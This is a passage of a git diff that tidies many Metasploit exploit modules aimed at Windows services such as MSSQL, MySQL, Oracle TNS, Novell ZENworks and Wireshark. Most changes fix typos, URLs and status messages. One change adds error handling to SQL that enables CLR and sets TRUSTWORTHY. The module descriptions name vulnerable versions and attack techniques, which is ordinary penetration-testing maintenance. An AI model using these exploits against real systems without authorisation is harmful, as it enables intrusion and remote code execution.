+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
diff --git a/modules/exploits/windows/misc/windows_rsh.rb b/modules/exploits/windows/misc/windows_rsh.rb
index e0a54d6121..e98c90f778 100644
--- a/modules/exploits/windows/misc/windows_rsh.rb
+++ b/modules/exploits/windows/misc/windows_rsh.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Windows RSH Daemon Buffer Overflow',
       'Description'    => %q{
-          This module exploits a vulnerabliltiy in Windows RSH daemon 1.8.
+          This module exploits a vulnerability in Windows RSH daemon 1.8.
         The vulnerability is due to a failure to check for the length of input sent
         to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
         to be successful.
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/wireshark_lua.rb b/modules/exploits/windows/misc/wireshark_lua.rb
index 1082d39b76..7e3a0fbf07 100644
--- a/modules/exploits/windows/misc/wireshark_lua.rb
+++ b/modules/exploits/windows/misc/wireshark_lua.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "Wireshark console.lua Pre-Loading Script Execution",
       'Description'    => %q{
-          This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a
+          This module exploits a vulnerability in Wireshark 1.6 or less. When opening a
         pcap file, Wireshark will actually check if there's a 'console.lua' file in the same
         directory, and then parse/execute the script if found.  Versions affected by this
         vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8
diff --git a/modules/exploits/windows/misc/wireshark_packet_dect.rb b/modules/exploits/windows/misc/wireshark_packet_dect.rb
index 1c4332522a..89a0351356 100644
--- a/modules/exploits/windows/misc/wireshark_packet_dect.rb
+++ b/modules/exploits/windows/misc/wireshark_packet_dect.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Wireshark packet-dect.c Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Wireshark <= 1.4.4
-        by sending an malicious packet.
+        by sending a malicious packet.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb
index da471014b9..d3736488ef 100644
--- a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb
+++ b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -198,5 +198,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     pkt
   end
-
 end
diff --git a/modules/exploits/windows/motorola/timbuktu_fileupload.rb b/modules/exploits/windows/motorola/timbuktu_fileupload.rb
index 3a74b87136..0de5bdcb6a 100644
--- a/modules/exploits/windows/motorola/timbuktu_fileupload.rb
+++ b/modules/exploits/windows/motorola/timbuktu_fileupload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Timbuktu Pro Directory Traversal/File Upload',
       'Description'    => %q{
-        This module exploits a directory traversal vulnerablity in Motorola's
+        This module exploits a directory traversal vulnerability in Motorola's
         Timbuktu Pro for Windows 8.6.5.
       },
       'Author'         => [ 'MC' ],
diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb
index ee645aa85e..7909d0907d 100644
--- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb
+++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     print_status("")
-    print_status("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
+    print_good("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
     print_status("")
 
     exe = generate_payload_exe
diff --git a/modules/exploits/windows/mssql/ms02_039_slammer.rb b/modules/exploits/windows/mssql/ms02_039_slammer.rb
index c8969a88ae..34bdd082b3 100644
--- a/modules/exploits/windows/mssql/ms02_039_slammer.rb
+++ b/modules/exploits/windows/mssql/ms02_039_slammer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -99,5 +99,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect_udp
     handler
   end
-
 end
diff --git a/modules/exploits/windows/mssql/ms02_056_hello.rb b/modules/exploits/windows/mssql/ms02_056_hello.rb
index 01b7d1dcd9..620f339407 100644
--- a/modules/exploits/windows/mssql/ms02_056_hello.rb
+++ b/modules/exploits/windows/mssql/ms02_056_hello.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
index 9c099855f1..5420a0e997 100644
--- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
+++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -27,7 +27,7 @@ class MetasploitModule < Msf::Exploit::Remote
         This exploit smashes several pointers, as shown below.
 
         1. pointer to a 32-bit value that is set to 0
-        2. pointer to a 32-bit value that is set to a length influcenced by the buffer
+        2. pointer to a 32-bit value that is set to a length influenced by the buffer
           length.
         3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
           this value is referenced with a displacement of 0x38. For MSSQL 2005, the
@@ -471,5 +471,4 @@ exec sp_executesql @z|
 
     return res[:rows][0][0]
   end
-
 end
diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb
index 9892ae9726..e786810528 100644
--- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb
+++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
         This exploit smashes several pointers, as shown below.
 
         1. pointer to a 32-bit value that is set to 0
-        2. pointer to a 32-bit value that is set to a length influcenced by the buffer
+        2. pointer to a 32-bit value that is set to a length influenced by the buffer
           length.
         3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
           this value is referenced with a displacement of 0x38. For MSSQL 2005, the
@@ -469,5 +469,4 @@ exec sp_executesql @z|
 
     return nil
   end
-
 end
diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb
index 846e4a36d1..43efd74621 100644
--- a/modules/exploits/windows/mssql/mssql_clr_payload.rb
+++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -96,7 +96,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def set_trustworthy(on)
-      mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
+    result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
+    unless result[:errors].empty?
+      result[:errors].each do |err|
+        vprint_error(err)
+      end
+      fail_with(Failure::Unknown, "Failed to change Trustworthy setting")
+    end
   end
 
   def is_trustworthy
@@ -112,7 +118,13 @@ RECONFIGURE;
 EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
 RECONFIGURE;
     ^
-    mssql_query(query, false)
+    result = mssql_query(query, false)
+    unless result[:errors].empty?
+      result[:errors].each do |err|
+        vprint_error(err)
+      end
+      fail_with(Failure::Unknown, "Failed to change CLR setting")
+    end
   end
 
   def is_clr_enabled
@@ -206,5 +218,4 @@ RECONFIGURE;
   ensure
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb
index fe9168a6dd..0b019721b1 100644
--- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb
+++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/exploit/mssql_commands'
 
 class MetasploitModule < Msf::Exploit::Remote
@@ -26,7 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote
         up a exploit/multi/handler to run in the background as a job to support multiple incoming
         shells.
 
-          If you are interested in deploying payloads to spefic servers this module also
+          If you are interested in deploying payloads to specific servers this module also
         supports that functionality via the "DEPLOYLIST" option.
 
           Currently, the module is capable of delivering payloads to both 32bit and 64bit
@@ -259,7 +258,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if (save_loot=="yes")
       filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
       path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
-      print_status("Results have been saved to: #{path}")
+      print_good("Results have been saved to: #{path}")
     end
   end
 
diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb
index c66b9cde09..4bb86ac3d1 100644
--- a/modules/exploits/windows/mssql/mssql_payload.rb
+++ b/modules/exploits/windows/mssql/mssql_payload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.
 
         First, the original method uses Windows 'debug.com'. File size restrictions are
-        avoidied by incorporating the debug bypass method presented by SecureStat at
+        avoided by incorporating the debug bypass method presented by SecureStat at
         Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.
 
         A second method takes advantage of the Command Stager subsystem. This allows using
@@ -117,5 +117,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/mssql/mssql_payload_sqli.rb b/modules/exploits/windows/mssql/mssql_payload_sqli.rb
index 060ba0419b..1715ff15b2 100644
--- a/modules/exploits/windows/mssql/mssql_payload_sqli.rb
+++ b/modules/exploits/windows/mssql/mssql_payload_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote
         Currently, three delivery methods are supported.
 
         First, the original method uses Windows 'debug.com'. File size restrictions are
-        avoidied by incorporating the debug bypass method presented by SecureStat at
+        avoided by incorporating the debug bypass method presented by SecureStat at
         Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.
 
         A second method takes advantage of the Command Stager subsystem. This allows using
diff --git a/modules/exploits/windows/mysql/mysql_mof.rb b/modules/exploits/windows/mysql/mysql_mof.rb
index a4fff41554..4640eb8e4a 100644
--- a/modules/exploits/windows/mysql/mysql_mof.rb
+++ b/modules/exploits/windows/mysql/mysql_mof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -129,5 +129,4 @@ class MetasploitModule < Msf::Exploit::Remote
       return
     end
   end
-
 end
diff --git a/modules/exploits/windows/mysql/mysql_payload.rb b/modules/exploits/windows/mysql/mysql_payload.rb
index 3bbb9514ad..987afbcd03 100644
--- a/modules/exploits/windows/mysql/mysql_payload.rb
+++ b/modules/exploits/windows/mysql/mysql_payload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,5 +97,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/mysql/mysql_start_up.rb b/modules/exploits/windows/mysql/mysql_start_up.rb
index b48fa0c931..a5df6baed3 100644
--- a/modules/exploits/windows/mysql/mysql_start_up.rb
+++ b/modules/exploits/windows/mysql/mysql_start_up.rb
@@ -1,4 +1,5 @@
 ##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -133,5 +134,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     register_file_for_cleanup("#{dest}")
   end
-
 end
diff --git a/modules/exploits/windows/mysql/mysql_yassl_hello.rb b/modules/exploits/windows/mysql/mysql_yassl_hello.rb
index c30b42dcd6..271578bb5b 100644
--- a/modules/exploits/windows/mysql/mysql_yassl_hello.rb
+++ b/modules/exploits/windows/mysql/mysql_yassl_hello.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
index dcab77bb13..5fc761cd0d 100644
--- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
+++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/nfs/xlink_nfsd.rb b/modules/exploits/windows/nfs/xlink_nfsd.rb
index 8034cef89a..ca72203829 100644
--- a/modules/exploits/windows/nfs/xlink_nfsd.rb
+++ b/modules/exploits/windows/nfs/xlink_nfsd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/nntp/ms05_030_nntp.rb b/modules/exploits/windows/nntp/ms05_030_nntp.rb
index e27987fc5e..5db7f98bfb 100644
--- a/modules/exploits/windows/nntp/ms05_030_nntp.rb
+++ b/modules/exploits/windows/nntp/ms05_030_nntp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,5 +75,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
index 93aa4f0b8e..177311cdf2 100644
--- a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
+++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -138,5 +138,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     true
   end
-
 end
diff --git a/modules/exploits/windows/novell/groupwisemessenger_client.rb b/modules/exploits/windows/novell/groupwisemessenger_client.rb
index 2493a698ab..c1136dffc3 100644
--- a/modules/exploits/windows/novell/groupwisemessenger_client.rb
+++ b/modules/exploits/windows/novell/groupwisemessenger_client.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -111,5 +111,4 @@ class MetasploitModule < Msf::Exploit::Remote
     select(nil,nil,nil,2)
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb
index ab9cd8dfca..f1c2424914 100644
--- a/modules/exploits/windows/novell/netiq_pum_eval.rb
+++ b/modules/exploits/windows/novell/netiq_pum_eval.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/novell/nmap_stor.rb b/modules/exploits/windows/novell/nmap_stor.rb
index c7b5944ecd..6aeca07ba3 100644
--- a/modules/exploits/windows/novell/nmap_stor.rb
+++ b/modules/exploits/windows/novell/nmap_stor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/novell/zenworks_desktop_agent.rb b/modules/exploits/windows/novell/zenworks_desktop_agent.rb
index c3ae5ac7eb..b6a6a8843d 100644
--- a/modules/exploits/windows/novell/zenworks_desktop_agent.rb
+++ b/modules/exploits/windows/novell/zenworks_desktop_agent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb
index 5c4219d077..6bd16d159c 100644
--- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb
+++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb
index 8983217d66..7d417ab341 100644
--- a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb
+++ b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb
index a9391c49fe..702953ab30 100644
--- a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb
+++ b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb
index 644ed26612..6c713bc1a0 100644
--- a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb
+++ b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb
index 13990e0cca..ff2f12b717 100644
--- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb
+++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb
index a305278068..fed44794d6 100644
--- a/modules/exploits/windows/oracle/extjob.rb
+++ b/modules/exploits/windows/oracle/extjob.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -90,7 +90,6 @@ class MetasploitModule < Msf::Exploit::Remote
     return Exploit::CheckCode::Safe
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/oracle/osb_ndmp_auth.rb b/modules/exploits/windows/oracle/osb_ndmp_auth.rb
index 7bb523b75d..f3f1d7fe9b 100644
--- a/modules/exploits/windows/oracle/osb_ndmp_auth.rb
+++ b/modules/exploits/windows/oracle/osb_ndmp_auth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/oracle/tns_arguments.rb b/modules/exploits/windows/oracle/tns_arguments.rb
index d73d43ef2f..15353554dc 100644
--- a/modules/exploits/windows/oracle/tns_arguments.rb
+++ b/modules/exploits/windows/oracle/tns_arguments.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Oracle 8i. When
-        sending a specially crafted packet containing a overly long
+        sending a specially crafted packet containing an overly long
         ARGUMENTS string to the TNS service, an attacker may be able
         to execute arbitrary code.
       },
@@ -82,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb
index 48a28b9440..1b7282a750 100644
--- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb
+++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -325,5 +325,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     return ret
   end
-
 end
diff --git a/modules/exploits/windows/oracle/tns_service_name.rb b/modules/exploits/windows/oracle/tns_service_name.rb
index 680b022024..c43b136367 100644
--- a/modules/exploits/windows/oracle/tns_service_name.rb
+++ b/modules/exploits/windows/oracle/tns_service_name.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/pop3/seattlelab_pass.rb b/modules/exploits/windows/pop3/seattlelab_pass.rb
index cea82790ee..284667f856 100644
--- a/modules/exploits/windows/pop3/seattlelab_pass.rb
+++ b/modules/exploits/windows/pop3/seattlelab_pass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -105,5 +105,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb
index 94d894cd43..475cf7cab5 100644
--- a/modules/exploits/windows/postgres/postgres_payload.rb
+++ b/modules/exploits/windows/postgres/postgres_payload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote
     version = postgres_fingerprint
 
     if version[:auth]
-      print_status "Authentication successful. Version: #{version}"
+      print_good "Authentication successful. Version: #{version}"
       return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable
     else
       print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
@@ -65,8 +65,8 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     version = do_login(username,password,database)
     case version
-    when :noauth; print_error "Authentication failed."; return
-    when :noconn; print_error "Connection failed."; return
+    when :noauth; print_error "Authentication failed"; return
+    when :noconn; print_error "Connection failed"; return
     else
       print_status("#{rhost}:#{rport} - #{version}")
     end
@@ -115,7 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote
         )
         return result[:auth]
       else
-        print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
+        print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
         return :noauth
       end
     rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
diff --git a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb
index cafeffe631..a9b4ba2bf4 100644
--- a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb
+++ b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb
index 8d63dac1ef..0071bd5bfc 100644
--- a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb
+++ b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,5 +74,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/proxy/proxypro_http_get.rb b/modules/exploits/windows/proxy/proxypro_http_get.rb
index 67b8339551..b6eca50484 100644
--- a/modules/exploits/windows/proxy/proxypro_http_get.rb
+++ b/modules/exploits/windows/proxy/proxypro_http_get.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
